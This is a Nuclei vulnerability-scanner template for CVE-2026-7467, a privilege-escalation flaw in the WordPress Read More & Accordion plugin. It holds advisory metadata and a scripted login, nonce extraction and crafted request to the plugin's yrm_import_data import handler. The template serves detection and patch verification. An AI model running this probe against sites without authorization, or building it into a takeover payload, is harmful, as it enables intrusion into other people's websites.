Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation

id: CVE-2026-7467

info:
  name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
  author: zer0p0int
  severity: high
  description: |
    The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
  impact: |
    Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.
  remediation: |
    Update to the latest version of the Read More & Accordion (expand-maker) plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130
    - https://wordpress.org/plugins/expand-maker/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-7467
    epss-score: 0.01313
    epss-percentile: 0.7094
    cwe-id: CWE-269
  metadata:
    verified: false
    max-request: 4
    vendor: radmore
    product: expand-maker
    framework: wordpress
    publicwww-query: "/wp-content/plugins/expand-maker/"
  tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated,vkev

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1

      - |
        GET /wp-admin/admin.php?page=readMore HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/

    matchers:
      - type: word
        part: body_2
        words:
          - "yrmBackendData"

      - type: word
        part: body_3
        words:
          - '"success":true'
          - "Data import successful"
        condition: and

    extractors:
      - type: regex
        name: yrm_nonce
        group: 1
        part: body_2
        regex:
          - 'yrmBackendData = \{"nonce":"([a-f0-9]+)"'
        internal: true